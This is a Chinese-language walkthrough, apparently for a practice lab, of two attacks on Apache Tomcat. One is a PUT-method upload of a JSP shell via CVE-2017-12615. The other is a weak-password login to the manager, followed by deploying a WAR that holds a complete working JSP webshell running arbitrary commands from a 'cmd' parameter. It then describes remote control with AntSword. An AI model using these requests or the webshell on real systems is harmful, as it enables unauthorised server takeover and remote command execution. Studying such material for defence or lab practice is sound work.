1.Tomcat put方法任意文件上传漏洞(CVE-2017-12615)
进入环境
输入http://ip:8080
抓包并改包:
PUT /shell.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell...
输入http:ip:8080/shell.jsp
显示jsp马上传成功
之后可以通过蚁剑进行连接,远程控制操作
2.弱口令
Tomcat 支持通过后端部署 war 文件,因此我们可以直接将 webshell 放入 Web 目录。为了访问后端,需要权限。
配置:
重启tomcat,再进入首页
进行登录
可以在后台上传war包,我们可以将jsp代码植入到war包里面,然后访问该war包即可执行jsp代码。
war包制作:
2.jsp:
<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null){
line.append(temp+"\\n");
}
buf.close();
} catch (Exception e) {
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
out.println(":-)");
}
%>
上传
访问木马文件,并传入命令参数:这里war包的制作还可以用msf
之后,就可以通过蚁剑进行连接,执行cmd命令,对服务器进行操作了。